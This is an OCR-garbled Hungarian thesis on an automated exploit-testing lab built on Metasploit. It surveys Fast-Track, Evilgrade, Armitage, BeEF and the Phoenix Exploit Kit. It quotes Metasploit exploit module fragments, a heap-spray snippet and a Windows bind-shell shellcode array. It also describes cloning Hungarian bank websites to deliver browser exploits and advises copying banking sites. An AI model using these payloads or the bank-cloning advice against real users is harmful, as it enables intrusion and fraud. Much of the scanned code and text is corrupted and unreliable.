def on

if not request.uri.match(/" .3

request uri{ cli, reguest )

if not request.uri.matcch(/ /%))
send redirect(cli, get_ resource() + '/', '")
return
end
print status("#{self.name} handling reguest")
gsend response html({ cli, generate html, { 'Content-
return

patne = [ Operacios rendszerek

P:

jar

sebezhet0ségeinek
regenerate payload(cli) Vizsgélata automatiZéIt
= p.encoded jar kbrnyezetben

path=s.each do |path|

(path.length - 1) do |id=x]|
full = path[0,id=x].join (" /™) + /"
if !({jar.entriesz.map{|e|e.name}.include? (full})
jar.add file(full, "')

end
end
fd = File.open(File.join( Msf::Config.install root,
data = fd.read(fd.=tatc.=ize)

jar.add file(path.join("/"), data)
fd.close

end

print status ("Sending Applet.jar")
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Az utdbbi években a kartékony kodok terjesztése drasztikusan megvaltozott €s a feke-
tepiacokat ellepték a biztonsagi hibakat kihasznald exploitok, melyeket késébb kartékony
kodok terjesztésére vagy épp zombi haldzatok kialakitasara hasznalnak. Manapsag a feketepi-
acon egy Adobe Flash sebezhetOséget kihasznald exploit-ért akar tobb ezer dollart is elkérnek,
mely annak fényében nagyon is aggaszto, hogy a felhasznalok tobb mint 98%-nal megtalalha-
to. Ebbdl kifolyolag a kutatok szamara 1étfontossaguva valt e biztonsagi hibak mielobbi felta-
résa, az exploitok vizsgalata és készitése, hogy az antivirus termékek miikodése mind ponto-
sabba valjék és ami a legfontosabb, az adott biztonsadgi hiba mihamarabbi megsziintetése.
El6adasomban ravilagitok a biztonsagi hibak kihasznaldsanak vizsgalataba, az exploitok ké-
szitésének menetébe és bemutatok egy olyan automatizalt keretrendszert mely segitségével e

kodok tesztelése drasztikusan lecsokkenthet6.




2. BEVEZETES

Régen a kartevok floppykon és cd-ken terjedtek, manapsag ez teljes mértékben meg-
valtozott és elsdszamu hordozoként az internetet tekinthetjiik. A tdmadas iranyulhat egy prog-
ram ellen, vagy ami a statisztikakat tekintve a konnyebb a felhasznal6 ellen. A szoftverek
biztonsagi hibdinak feltarasa ez altal nagyon fontossa valt. Tovabbi veszélyt a bongészok és
az azokhoz szorosan fiz6d6 futtatokdrnyezetek jelentik azaltal, hogy ezek egy egységes kor-
nyezetet alkotnak és mukdodésiik (tehat programozasuk) a kiilonb6zo platformokon ugyanugy
torténik. Tehat a biztonsagi kutatok szamara a biztonsagi hibak detektalasa mindnél fontosab-
ba valt. A kutatokat a naponta tobb 100 Sebezhetdség vizsgalata uj megoldasokra sarkalja.
Erre kivanok megoldast nyujtani a rendszeremmel, mellyel a biztonsagi hibak tesztelése telje-
sen automatikussa valik és igy a tesztelési id6 drasztikusan lerdvidiil. A dolgozatomban Kité-
rek a sebezhetdségek vizsgalatara, a tényleges kod megirasanak menetére, majd bemutatom a
teljes rendszert, kitérek a fejlesztés korai stadiumaban fellépd problémakra, majd a jovobeni
fejlesztésekre. Kiemelném, hogy mivel az exploit irdsardl nincs j6 mindségl, hiteles egységes
dokumentacio, igy minden a szakdolgozatban leirt tudas illetve technika a sajat tapasztalom

alapjan irtam le.
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3. AZ EXPLOIT-OK FEJLESZTESENEK FONTOSSAGA

Sokakban téves elképzelés ¢l az exploit-okat illetden. Lényegében az exploit egy prog-
ram, amely a kodban taldlhatd biztonsagi hibakat (sériilékenységet) hasznalja ki. Az
exploit tehat egy olyan kod vagy binaris program, amelynek felhasznalasaval a rosszindu-
lati tamado kihasznalhatja az exploit céljaul szolgald programozasi hibaval rendelkezd
programok sebezhetdségét, elsdsorban web bongészoket és az azokhoz szorosan fiiz6do
futtatokornyezeteket. Léteznek olyan weboldalak, melyek az ingyenes letoltés lehetOségé-
vel vonzzak magukhoz a latogatot, am letoltés helyett csak a weboldalban elhelyezett
exploit telepiil szamitogépére. Sajnos nagyon sok internetes oldal kodja feltdrhetd, és eb-
bél kifolyolag biztonsagos oldalakba is elhelyezhetd kartékony kod, ezt a helyzetet bonyo-
litja, hogy sokszor nem feltétleniil kell, maganak a weboldalnak a kodjaba belenytlnunk
gondoljunk csak az XSS alapt tamadasokra. Az exploitok egy részét nagy tudassal ren-
delkezd biztonsagi szakemberek készitik a rendszerek védelmi képességének, biztonsagi
szintjének tesztelésére, felmérésére, mig masik részét szintén nagy tudassal rendelkezd,
rossz szandéku programozok, akik nem tévesztenddk Ossze az exploitokat letoltd, lefordi-
t0, és azokat rossz célra hasznalo, de emellett csekély (vagy, ahogy altaldban lenni szokott
semmilyen) programozoi tudassal rendelkezé script kiddie-kel. Az exploitokat funkcio,
felhasznalas szerint csoportositjuk. Fontos megemliteni, hogy az exploitok irdsdhoz elen-
gedhetetlen az x86 assembly ismerete, tovabba egy minimalis windows shellcode és va-

lamilyen scriptnyelv (a legtobb exploitot ruby nyelven irtak).
Proof of Concept (roviden PoC)

Az exploitok specialis fajtajat képviselik a szakdolgozat témajat is ado ugynevezett
proof of concept exploitok, azaz olyan programok, amelyek egy bizonyos hiba kihasznala-
sanak lehetdségét bizonyitjdk. A proof of concept exploitok nagy altalanossagban nem ar-
to céllal késziilnek. Egyik nagy elonyiik, hogy gyorsan el6 lehet allitani 6ket, ez természe-
tesen azért fontos, hogy mindnél hamarabb be lehessen foltozni az adott biztonsagi hia-
nyossagot az adott szoftverben. Mind mindennek, ennek is megvan a hatranya, konkrétan

a hordozhatosag.




Rengeteg publikus exploit tolthetd le az internetrdl, de pont a mi altalunk létrehozott
kornyezetben nem muiikodik. Ennek oka a hordozhatésagban, a hibas kodban vagy egysze-
rlien abban rejlik, hogy az exploit nem képes valamilyen védelmi mechanizmust megke-
rilni. Ekkor kénytelenek vagyunk magunk moédositani az exploitot, hogy az képes legyen
lefuttatni a mi kornyezettiinkben is. A leggyakoribb hibat a lent lathaté kodrészlet de-
monstralja. Az kodrészlet egy Internet Explorer 9 esetén fellépd veremtilcsorduldsos se-
bezhetdséget hasznal ki. A piros szinnel kiemelt rész az svchost kezddcime a memoriaban.
A problémat az okozza, hogy a készité csak Windows 7 RTM verzioval tesztelte, ami ese-
tében muiikodik, de ugyanezen kod Windows 7 SP1 verzi6 esetén BSOD(Blue Screen of

Death)-hoz vezet, amit nem dokumentalt, igy a tesztelés kifejezetten nehézzé valik.

js_pivot = <<-JS
var heap_obj = new heapLib.ie(IXE000E);
var code = unescape("#{js_code}");

var nops = unescape("#{js_nops}");

while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my _target['Offset]});

var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

Az exploit hianyossagat persze nem nehéz potolni, elegendd csak egy feltételes agba beil-

leszteni a tobbi verzioju Windows visszatérési cimértékeket.
Local exploit

A lokalis, vagyis az aldozat gépen kozvetleniil futtatott exploit megkdveteli €s hozza-
férést biztosit a sériilékeny rendszerhez és altalaban jogosultsag emelést hajt végre annak

érdekében, hogy rendszergazdai jogokat szerezzen.

tempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe
raw = payload.encoded
exe = Msf::Util::EXE.to_win32pe_service(session.framework, raw)

sysdir = session.fs.file.expand_path("%SystemRoot%")




Remote exploit

Ez az exploit fajta, tavoli kodfuttatast tesz lehetévé a sériilékeny rendszeren. A haloza-
ton végrehajtott tdmadés esetén sziikség van egy hord6zd kozegre, karos kodra, ez a

payload (a payloadrdl egy késobbi fejezetben lesz bovebben).




4. METASPLOIT FRAMEWORK ISMERTETESE ES KIEGESZITOI

Sebezhetdség vizsgalatanal két kiillonbozé megkozelitést kiilonboztetiink meg. Tamadasok
esetén beszélhetiink helyi vagy tavoli kodfuttatasrol. A Metasploit Framework-el mindkét
tamadasi megoldast megvalosithatjuk. Helyi kodfuttatas esetén sziikséges a felhasznaloi inte-
raktivitds vagyis , hogy a sebezhetdséget kézzel kell elinditunk. erre tipikus példa az
xscreensaver rejtett hibaja. A manapsag legelterjedtebb tdmadasi megoldés a tavoli kodfutta-
tas. Ebben az esetben Metasploit Framework és az ,,aldozat” kozvetleniil kapcsolodnak 6ssze
¢és az esetek nagy részében nincs sziikség felhasznaldi beavatkozasra. A sebezhet6séget ki-
hasznald exploitot payload segitségével kiildiink at, melyrdl késdbbiekben bévebben targya-

lok. Az alabbi abran a halozat sematikus abrajat lathatjuk.

A jelenleg hasznalt és a Metasploit altal is javasolt megvalositas a virtualis gépek fert6zése, a
gyorsvisszaallitas, és tobbrétii elemzések miatt. A gyorsabb tesztelés miatt minden hostgép
rendelkezik egy MSF példannyal amihez Vmware-en keresztiil bridge-elt allapotban kapcso-
l6dnak a virtualis gépek. Ennek a magvalositdsnak megvan az a hatranya, hogy az exploit
kiildéséhez sziikséges egy payload ami visszakapcsolodik az aldozat géprél az MSF-hez. Pi-

ros nyillal jeleztem a payload visszacsatolasat.

~




Meterpreter

A Meterpreter a Metasploit Framework egyik 0sszetevdje, egy fejlett payload, egy "memoria-
rezidens host exploitald modul". Egyszeriien bovithetd a hozza fejlesztett bévitményekkel. A
Meterpreter egyik f0 sajatossaga, hogy mind maga, mind a hozza irt kiterjesztések kizarolag a
(kivéve, ha nincs mas lehetdség), igy a jelenléte rejtve maradhat a megszokott antivirus

megoldasok és lemez alapu analizalo, nyomkeresd technikak eldtt.

Mivel a detektdlas hagyomanyos eszkézokkel bonyolult, szinte lehetetlen a tamadast
detektalni és szinte képtelenség tudni, hogy a Meterpreter-rel megtamadott gépen mit csinal a

tamado.

Az alabbi abran a payload szerkezeti megvaldsitasat lathatjuk.

Memoria (stack)
Payload eleje EIP
Eredetileg allokalt Payload Ugrasi
puffer része cim
Fast-track

Fast-track egy python alapt, nyilt forraskodu projekt, célja, hogy segitsen biztonsagi
szakembereknek annak érdekében, hogy azonositsak kiakndztdk a halozatban taldlhato gépek
sebezhetdségeit. Fast-Track-et eredetileg David Kennedy fejlesztette aki megallapitotta, hogy
a jelenlegi megoldasok teljes mértékben nélkiilozik az automatizmust. A Fast-Track altal a
biztonsagi szakértok azelott tesztelhetik a tamadasokat, hogy azok elterjednének. Fast-Track a
Metasploit keretrendszer kiegészitése. A Fast-Track sokféle egyedi tamadasokkal rendelkezik,

amelyek lehetdve teszik, hogy kihasznalja a Metasploit framework lehetdségeit.




A Fast-Track telepitése

A Fast-track ¢és a Metasploit képes log szerverként is tizemelni, illetve az exploitokak struktu-

raltan adatbazisban tarolni.

sudo apt-get install proftpd sqlite3 -y

Tovabba sziikségiink lesz a python kdrnyezetre is a Fast-track miatt.

sudo python setup.py install

A Fast-track telepitését kovetden lehetdséglink nyilik, haromféle képen vezérelni a

framework-ot.

fasttrackcli

Minden paraméterét az exploit-nak itt adhatjuk meg! Nekiink ez kell!

fasttrack-interactive

A meniiben automatizmus segit eligazodni, tesztelésnél hasznos.

fasttrackwebservices

Webbongészdben miikddo interaktiv shell, leginkabb a futd folyamatok kilistazasa és grafiko-

nok készitésére hasznaljak!




A web-interface esetében a localhost vagy a config fajlban beallitott interface-en lehetséges a
rendszer elérése. Itt talalhaté meg a rendszer dokumentécidja, mely segit finomhangolni a
rendszert a jobb miikodés érdekében, plusz hasznos tippeket kapunk a payload-ok készitésérol
vagy a ruby fajlok szerkesztéséhez kapunk példakkal segitséget. Az alabbi képen a fast-track
konfiguracios allomanyat latjuk melyben alapbeallitasok eszkozolhetiink a rendszer mitkodé-

sében.

Tamadas végrehajtasa

A tamadas inditasa lehetséges magabol a fast-track-bol vagy ami a legjobb megoldas a
Metasploit Framework-b6l. Ebben az esetben csak az exploit nevét kell megadnunk, az eset-
leges payloadokat, amik lehetnek a fast-track-é vagy a metasploit framework-é. Az exploit
inditasat kovetden kapunk két ip cimet (egy a loopback plusz egy a kiils6 14bé). Ezt a cimet
kell atadnunk az ,,aldozatnak” majd az aldbbi kimenetet kapjuk! Lehetdségiink nyilik az

exploitok szerkesztésére ez altal a kod obfuszkalasara.

Evilgrade

Az evilgrade a Metasploit Framework-ok hivatott kiegésziteni egy nagyon érdekes és
egyediilallo funkcidval, mégpedig azzal, hogy még napjainkban is a programok dontd tobbsé-
ge titkositatlan csatornank keresztiil frissitédik. Ezaltal lehetéség nyilik arra, hogy a szoftver
segitségével a kliensnek ,,4)” frissitést ,,hazudunk”, igy képesek lesziink megfertézni az aldo-
zat gépét. Ez a fajtatdimadas a kartékony kodokat ird személyes, szervezetek kozott igen be-
valt eszkdz. Az evilgrade mint ebben a dokumentumban az Osszes szoftver, beépithetd a
Metasploit Framework-be, ehhez nem kell semmit tenni, mivel az evilgrade elsé inditasat
kovetden felajanlja, hogy ha akarjuk akkor megkeresi a metasploit framework-6t €s beleteszi

az indit6 allomanyat az msf-be.
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opera.pm
Copyright 201@ Francisco Amato
This file is part of isr-evilgrade, www.infobytesec.com .

isr-evilgrade is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation version 2 of the License.

isr-evilgrade is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with isr-ewvilgrade; if not, write to the Free Software
Foundation, Inc., 51 Franklin 5t, Fifth Floor, Boston, MA ©82110-1381

package modules: :opera;

use strict;
use Data::Dump gw(dump);

use isrcore::utils;

my %$hase=

{

name' => 'Opera',
version' == "'1.8°",
appver = < 9.51°,
author' == [ 'Francisco Amato =< famato +[AT]+ infobytesec.com=" ],
description' == qqg{},
vh' == '(xml.opera.com|www.opera.com)",
reguest' =» [
{

req' == "Jupdate/?', #regex friendly
type' == 'file', #file|string|agent|install

method' == , #any
bin == B,
ctrinn —

USA

Persze az egyes programokhoz hasznalt exploitok szerkeszthetéek, mint az a fenti képen is

latszik. Szerkesztése a Metasploit mellet nem igényel nagyobb tudast. Sikeresen teszteltem a

rendszert a metasploitttal egylitt, az aldozat gépén egy Firefox volt, ami felett sikeresen vet-

tem 4t az iranyitast.




Armitage

Az Armitage egy grafikus frontend a Metasploit Framework-hoz. Uj exploitokat vagy
lényeges funkcidt nem add hozza, de a tesztelési idészakban nagyon hasznos az automatizmu-
sainak koszonhetden, villamgyorsan képesek vagyunk leellendrizni par szaz exploit mikodé-
sét. Kiilon kiemelendd, hogy egyes esetekben helyesen képes megallapitani a bongészok

pluginjeinek verzidoszamat ez altal sziikitve a lehetséges tamadasi vektorokat.

[ witoge |

Armitage Yiew Hosts Attacks Workspaces Help

» [ mutti
» [ netware
osx

» (@ solaris

> (& unix

¥ (& windows
» (& antivirus
» (i arkeia
+ [ backdoor
> [ backupexec
» (& brightstor
> [ browser
> (i deerpe
» (& driver
> [ email
> [ eme
» (& fleformat

ﬁﬁﬁﬁﬁﬁ

Password:

metasploit v4.3.0-dev [core:

810 exploits - 460 auxiliary

249 payloads - 27 encoders - ps

svn r15549 updated 97 days ago (2012.03.27)

Warning: This copy of the Metasploit Framework was last updated 07 days ago.
we recommend that you update the framework at least every other day.
For information on updating your copy of Metasploit, please see:
https://community . rapid7.com/docs/DOC- 1306

[Fast-Track Tutorial for ... |[g) Ammitage

A keretrendszer inditasa utan kérdéseket tesz fel a lehetséges gépek tamadasat illetéen, mind

az exploitok inditésat illetden, mind a hasznalt payload-okat kivalaszthatjuk!




BeEF

A BeEF(Browser Exploitation Framework) kifejezetten bongészokben fellelhetd se-
bezhetdség kihasznalasat teszi lehetdvé. A BeEF kiilonlegessége, hogy a SET(Social Engineer
Tollkit) segitségével kamu weboldalak segitségével juttatja el a kartékony kodot! Javaslatom,
hogy elsOsorban banki oldalak mésoljunk hisz az ezen oldalak ellen iranyulnak a tdmadasok
tobbsége. Sikeresen masoltam le a Budapest Bank ¢és az OTP oldalat, bizonyos esetekben a
keretrendszer képes megkeriilni a bongészok tanusitvany ellen6rzé képességét, ezaltal a fel-

hasznald nem érzékel semmi gyanusat.

Getting Started Logs

Welcome to BeEF!
Before being able to fully explore the framework you will have to ‘hook’ a browser. To begin with you can point a browser towards the basic demo page here, or the advanced version here.

After a browser is hooked Into the framework they will appear in the Hooked Browsers’ panel on the left. Hooked browsers will appear in either an online or offline state, depending on how recently they have polled the framework. To interact
with a hooked browser simply left-click It, a new tab will appear. You can also right-click It to open a context-menu with additional functionality, like Proxy and XssRays.

Each hooked browser tab has a number of sub-tabs, described below:

Main: Display Information about the hooked browser after you've run some command modules

Logs: Displays recent log entries related to this particular hooked browser.

Commands: This tab I where modules can be executed against the hooked browser. This is where most of the BeEF functionality resides.

Requester: The Requester tab allows you to submit arbitrary HTTP requests on behalf of the hooked browser.

XssRays: The XssRays tab allows you to check If links, forms and URI path of the page where the browser is hooked are vulnerable to XSS

Official website: hitp:/beefproject.com/

Sortby: domain | Extemal il

Basic | Requester

A fent lathato képen a web interfésze figyelheté meg, itt lehet nyomon kovetni és managelni a
klonozott weboldalakat! Szerencsére cli verzio is létezik, beldle ahol parancsfajlokkal dolgoz-
hatunk!




Msfpayload

A Metasploit Framework tartalmaz egy rakas olyan toolt melyekkel a timadas egyedi-
vé tehetd vagy éppen annyira megvaltoztathatd, hogy az antivirus termékek nem ismerik fel a
kartékony kodot. Az egyik ilyen eszkéz az Masfpayload, mellyel képesek vagyunk 0j vagy a
jelenlegi payload-bol szinte teljesen ujat csinalni. Kiilonlegességét az is jelzi, hogy bar az
msfconsole-bol is elérhetd az eszkdz, de a paramétereinek és tudasanak csak toredéke hasz-
nalhato.

windows/shell bind tcp - 341 bytes

http://www.metasploit.com

VERBOSE=false, LPORT=1234, RHOST=, EXITFUNC=seh,

InitialAutoRunScript=, AutoRunScript=
=
unsigned char buf[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xcO0\xac\x3c\x61\x7c\x02\x2c\x20\xcl\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xcO\xac\xcl\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x31\xdb\x53\x68\x02\x00\x04\xd2\x89\xe6\x6a\x10\x56\x57\x68"
"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5"
"\x53\x53\x57\x68\x74\xec\x3b\xel\xff\xd5\x57\x89\xc7\x68\x75"
"\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57"

szerll de paraméterek listaja szinte kimerithetetlen. A payloadok készitésekor assembly tudas-
ra van sziikség, ezért nem nagyon talalni leirast a teljes funkcionalitasrol.




Phoenix Exploit’s Kit

Phoenix Exploit's Kit, vagy mas néven PEK, fejlesztése 2007-ig nyulik vissza, ami
miatt az egyik legidOsebb és sikeresebb exploit kit érhetd el a fekete piacon. Az PEK-et a kar-
tékony kodokat terjesztok hasznaljak, igy funkcionalitasa fényévekkel jobb az ingyenes meg-
oldasokndl. Rendes dokumentéaciot nem sikeriilt szereznem, csak a teljes toredékeit talaltam
meg! A Phoenix Exploit's Kit vezérlése torténhet parancsfajlokkal vagy web bongészobdl. Az
alabbi képen a web feliiletet lathatjuk.

3 Phoenix Exploit’s Kit - Log In - Mozilla Firefox

Ele E® Yow Hgory Goockmads Jooks Hed

heepefy

Phoenix Exploit's Kit

Please enter your password

CANCEL




) Phoenix Exploi’s Kit - Simple Statistics - Moxilla Firefox

Phoenix Exp loit's Kit
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Simple browser statistics Main Statistics Exploit statistics e

Browser Visits Exploited Percent  Unlquee visits Explofted Percent  Explolt Exploited Percent Mgy SEacit

Do L

A rendszer miikddéséhez sziikséges a Mysql adatbazis szerver, itt tarolja ugyanis a sikeres €s
sikertelen tamadasok naplobejegyzésit, illetve a megtamadott géprol gyiijt hasznos informaci-
okat (pl BSOD esetén a képes kinyerni a memoriabol adatokat, amik segitenek a késdbbi
elemzésben). A rendszer mitkddésében az egyetlen probléma, hogy mivel a fizetds igy a leg-
ujabb exploitokat kicsit nehéz levadaszni az egyes torrent és biztonsaginformatikai oldalakrol.




5. A RENDSZER MUKODESI ELVE ES TELEPITESENEK LEPESEI

A rendszer miikdoéséhez minimalisan sziikséges egy szerver és egy vezérlogép. A szerver két
6 komponensbdl 4ll, az egyik egy Metasploit Framework ami az exploitok terjesztésért felel
a masik egy Vmware.

A Linux telepit6 letoltése

» Linux 32 bit

http://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.run

» Linux 64 bit

http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run

2. A telepito elinditasa (32 bites)

metasploit:~# chmod 755 metasploit-latest-linux-installer.run

metasploit:~# ./metasploit-latest-linux-installer.run

Az alapértelmezések elfogadasa, az automatikus frissitések kivételével:

Do you accept this license? [y/n]: y
Installation folder

Please, choose a folder to install Metasploit
Select a folder [/opt/metasploit-4.1.4]:
Install as a service

You can optionally register Metasploit as a service. This way it will
automatically be started every time the machine is started.

Install Metasploit as a service? [Y/n]:

Metasploit Service

Please enter the port that the Metasploit service will use.
SSL Port [3790]:

Generate an SSL Certificate
Please provide the fully qualified domain name of this system below (e.g.
metasploit.example.com). A certificate is generated for a specific server name

and web browsers will alert users if the name does not match.




Server Name [metasploit]:
Days of validity [3650]:

Metasploit Framework: Automatic Updates

Metasploit Community Edition, Metasploit Express, and Metasploit Pro are
based

on a stable, quality-assured version of the Metasploit Framework, which is
typically updated every week. In addition, this installer also includes a
development snapshot of the Metasploit Framework. This snapshot provides
real-time access to the latest modules and features, but its stability has not
been tested.

Do you want to update the development snapshot of Metasploit Frame-
work

automatically? (Recommended) [Y/n]: n

Setup is now ready to begin installing Metasploit on your computer.

Do you want to continue? [Y/n]:

Please wait while Setup installs Metasploit on your computer.

Installing

0% 50% 100%

HEgEnh R SRR R R R R AR

Setup has finished installing Metasploit on your computer.

Info: To access Metasploit, go to

https://localhost:3790 from your browser.

Metasploit konfiguracio

Felhasznal¢ 1étrehozasa, a jelszot 6 generalja:

metasploit:~# cd /opt/metasploit-4.1.4
metasploit:/opt/metasploit-4.1.4# ./diagnostic_shell

bash-3.2# ruby /opt/metasploit-4.1.4/apps/pro/ui/script/createuser

bash-3.2# exit




Belépés a felhasznaldval: https://metasploitszervercime:3790 -en.

[:?rMetasploit v -8 x‘

& [+ 192.168.2.131 | hitps:/192.168.2.131:3790/login 8- @ [W coode Q @

M metasploit”

meta 2

©000000060000)| fA

Iforgot my password . Signin q’




6. A RENDSZER FEJLESZTHETOSEGE

Mivel e rendszer miikodése nagyban fiigg a jelenlegi és jovObeni szoftverrel
vizsgalatatol illetve az ujabb tamadasi metodikaktol igy belathatd, hogy a fejlesztés
sohasem allhat le. Késébbiekben nagyon fontosnak tartom, hogy az egyes exploitok
obfuszkacioja automatikus legyen, igy megkonnyitve a tesztelést.

7. OSSZEFOGLALAS

A programozasi hibak kiszlirésére koriiltekintd tesztelésre van sziikség. Amig azonban
a funkcionalis és terheléses teszteknek kifinomult mddszertana van, a biztonsagi hibak
felderitésére csak az elmult években kezdtek eljarasokat kidolgozni. Jelen szakdolgo-
zat ezen vizsgalati modszerek automatizalasaval és a lélektanaval foglalkozik. Els6
korben megvizsgalom, a rendszer tulajdonsagait majd végigmegyek az egyes funkcio-
in.

Az automatikus exploit teszteld rendszer képes arra, hogy a kiilonb6zo sebez-
het6ségeket felhasznaldi beavatkozas nélkiil letesztelje. Ez a rendszer képes megkony-
nyiteni a biztonsag informatikus dolgat és konnyebbé teszi a kartevok elemzését, a vé-
delem fejlesztését, illetve a védelmi rendszerek vizsgalatat.
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